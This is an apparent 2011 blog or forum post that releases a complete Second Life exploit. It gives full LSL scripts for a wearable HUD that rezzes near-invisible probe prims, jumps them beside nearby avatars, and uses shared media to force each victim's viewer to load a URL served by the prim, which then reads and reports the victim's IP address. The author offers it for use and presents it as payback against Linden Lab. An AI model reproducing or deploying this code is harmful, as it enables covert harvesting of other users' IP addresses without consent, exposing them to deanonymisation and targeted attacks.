April 12, 2011
Hello all,

Today i will release a simple vieuwer2 exploit you all can use and maybe connect to a database offworld.
Sinds all crap LL did with me and other security vendors, why not drive them a bit further..lol.

This will be a HUD you can wear and read vieuwer2 Users IP adresses.

How does it work?
You will be building a HUD, you can waer it.
The hud will have a little probe that will be rezzed, so you need rights to rezz for it to work.
For each avatar in 96 meter range a probe will be rezzed.
The probe ( a prim ) will locate avatars, travel to them and scan there IP adress.

This exploit is making use of the " shared media" also known as "Web on a prim".
To make sure only the target avatar sees the website and parces the data we make some rules.
The rules:
- The probe prim will be the smallest prim size posible: 0.0010 on all sides.
- The prim will do a scan and make sure no other avatar is in 10 meter range before it exploits the target.
This way we make sure only the target avatar will open the website wich will collect there data.
* Note: You dont need to have a website, it will use a website inside the prim itselfs !!

Lets start building/scripting:
Best is to script on a small section of "no script" land, so your scripts wont run while scripting, but that is up to you.

Rezz a prim and call it "HUD".
Now add these two scripts into the HUD:

Listrunner.lsl:

list runner;
list runner2;
integer Channel=8458254;
default
{
state_entry()
{
llListen(Channel, "", "", "");
llSetTimerEvent(5);
}
listen( integer channel, string name, key id, string message )
{
if (message=="get")
{
integer len = llGetListLength( runner );
if ( len == 0 )
{
llOwnerSay("List is empty");
}
else
{
llShout(Channel+1,llList2String(runner, 0) );
//llOwnerSay("rezzed probe for: "+ llKey2Name((key)llList2String(runner, 0)) );
llSetText("rezzed probe for:\n "+ llKey2Name((key)llList2String(runner, 0)), <1.0, 0.0, 0.0>, 1.0);
llSleep(.5);
llSetText("Rezz Zone :D", <0.0, 1.0, 0.0>, 1.0);
runner = llDeleteSubList(runner, 0, 0);
}
}
}
timer()
{

integer len = llGetListLength( runner );
if ( len == 0 )
{
}
else
{
llRezObject("Object", llGetPos()+<0,0,10>, <0.0,0.0,0.0>, <0.0,0.0,0.0,0.0>,0);
}

}
link_message(integer source, integer num, string str, key id)
{

if (num==200)
{
runner+=(string)id;
}
}

touch_start(integer total_number)
{
llResetScript();
}
}

Second script:
scanner.lsl

float range = 96;
list visitor_list;
integer savezone( vector TargetPos )
{
integer x= llGetParcelFlags(TargetPos);
key grp=llList2Key(llGetParcelDetails(TargetPos,[PARCEL_DETAILS_GROUP]),0);
if(!((x&PARCEL_FLAG_ALLOW_SCRIPTS)||(x&PARCEL_FLAG_ALLOW_GROUP_SCRIPTS &&llList2Key(llGetObjectDetails(llGetKey(),[OBJECT_GROUP]),0) == grp))||!( (x&PARCEL_FLAG_ALLOW_ALL_OBJECT_ENTRY)||((x&PARCEL_FLAG_ALLOW_GROUP_OBJECT_ENTRY)&&llList2Key(llGetObjectDetails(llGetKey(),[OBJECT_GROUP]),0) == grp)))
{
return TRUE;
}
else
{
return FALSE;
}

}

integer rezz_zone()
{
integer x= llGetParcelFlags(llGetPos());
key grp=llList2Key(llGetParcelDetails(llGetPos(),[PARCEL_DETAILS_GROUP]),0);
if(!( (x&PARCEL_FLAG_ALLOW_CREATE_OBJECTS) || (x&PARCEL_FLAG_ALLOW_CREATE_GROUP_OBJECTS &&llList2Key(llGetObjectDetails(llGetKey(),[OBJECT_GROUP]),0) == grp) ) )
{
return FALSE;
}
else
{
return TRUE;
}

}

integer isNameOnList( string name )
{
integer len = llGetListLength( visitor_list );
integer i;
if (len >= 200)
{
visitor_list=[];
return FALSE;
}
for( i = 0; i < len; i++ )
{
if( llList2String(visitor_list, i) == name )
{
return TRUE;
}
}
return FALSE;
}

default
{
state_entry()
{
llSetTimerEvent(10);
}

timer()
{
if (rezz_zone()==FALSE)
{
llSetText("No Rezz Zone.", <1.0, 0.0, 0.0>, 1.0);
llSetColor(<1, 0.0, 0.0>, ALL_SIDES );
}
else
{
llSetText("Rezz Zone :D", <0.0, 1.0, 0.0>, 1.0);
llSetColor(<0, 1.0, 0.0>, ALL_SIDES );
llSensor("", "", AGENT, range, PI);
}
}

sensor (integer total_number)
{
integer i;
for( i = 0; i < total_number; i++ )
{
string detected_name = llDetectedName( i );

if( isNameOnList( detected_name ) == FALSE )
{
visitor_list += detected_name;
//llOwnerSay("Listed: "+ detected_name );
llMessageLinked(LINK_SET, 200, "", llDetectedKey(i));
}
}
}

touch_start(integer total_number)
{
llResetScript();
}
}

Ok now we will make the "probe" prim.

Rezz a prim rename it to "Object" and resize it to 0.0010 on all sidez and zoom into it.
edit it and add this script:

probe.lsl:

integer listen_handle;
key url_request;
float range = 10; // meters
string web;
integer Channel=8458254;
key avatar;
integer counter;
integer savezone( vector TargetPos )
{
integer x= llGetParcelFlags(TargetPos);
key grp=llList2Key(llGetParcelDetails(TargetPos,[PARCEL_DETAILS_GROUP]),0);
if(!((x&PARCEL_FLAG_ALLOW_SCRIPTS)||(x&PARCEL_FLAG_ALLOW_GROUP_SCRIPTS &&llList2Key(llGetObjectDetails(llGetKey(),[OBJECT_GROUP]),0) == grp))||!( (x&PARCEL_FLAG_ALLOW_ALL_OBJECT_ENTRY)||((x&PARCEL_FLAG_ALLOW_GROUP_OBJECT_ENTRY)&&llList2Key(llGetObjectDetails(llGetKey(),[OBJECT_GROUP]),0) == grp)))
{
return TRUE;
}
else
{
return FALSE;
}
}

posJump(vector target_pos)
{
llSetPrimitiveParams([PRIM_POSITION, <1.304382E+19, 1.304382E+19, 0.0>, PRIM_POSITION, target_pos+ <0,0,0>]);
}

Jump(key AvKey)
{
list a = llGetObjectDetails(AvKey, ([
OBJECT_NAME, OBJECT_DESC, OBJECT_POS, OBJECT_ROT,
OBJECT_VELOCITY,OBJECT_OWNER, OBJECT_GROUP, OBJECT_CREATOR]));
if (llList2String(a,2)!="")
{
if (savezone( (vector)llList2String(a,2) ) == FALSE )
{
posJump( (vector)llList2String(a,2) );
}
else
{
llDie();
}
}
}

Kill()
{
llReleaseURL( web );
llDie();
}

default
{
state_entry()
{
listen_handle = llListen(Channel+1, "", "", "");
llShout(Channel,"get" );
}

on_rez(integer start_param)
{
llResetScript();
}
sensor (integer total_number)
{
if ( llDetectedKey(0)==avatar && total_number==1 )
{
//llOwnerSay( llKey2Name(avatar) + "showed URL" );
llSetPrimMediaParams(0,
[PRIM_MEDIA_AUTO_PLAY,TRUE,
PRIM_MEDIA_CURRENT_URL,web,
PRIM_MEDIA_HOME_URL,web,
PRIM_MEDIA_PERMS_CONTROL, PRIM_MEDIA_PERM_NONE,
PRIM_MEDIA_HEIGHT_PIXELS,512,
PRIM_MEDIA_WIDTH_PIXELS,512]);
}
else
{
llClearPrimMedia( 0 );
}
}

http_request(key id, string method, string body)
{
if (url_request == id)
{
url_request = "";
if (method == URL_REQUEST_GRANTED)
{
// llSay(0,"URL Succesfull: " + body);
web=body;
Jump( avatar );
llSetTimerEvent(.1);
}
else if (method == URL_REQUEST_DENIED)
{
//llSay(0, "Something went wrong, no url. " + body);
Kill();
}
}
if (method == "GET") {
string ip = llGetHTTPHeader(id, "x-remote-ip");
string User = llGetHTTPHeader(id, "user-agent");

llOwnerSay( "Got IP: " + ip + " / " +llKey2Name(avatar) );
Kill();
}
}

listen( integer channel, string name, key id, string message )
{
avatar=(key)message;
llListenRemove(listen_handle);
url_request = llRequestURL();
llSetTimerEvent(.1);
}

timer()
{
Jump( avatar );
llSensor("", "", AGENT, range, PI);
counter+=1;
if ( counter >= 10 )
{
Kill();
}
}
}

Now add the "Object" (probe) to the content of the HUD prim and you have a working device :D
Have fun.
Dont forget to give a comment :D

Best regards,

Guy Quicksand ( banned from SL )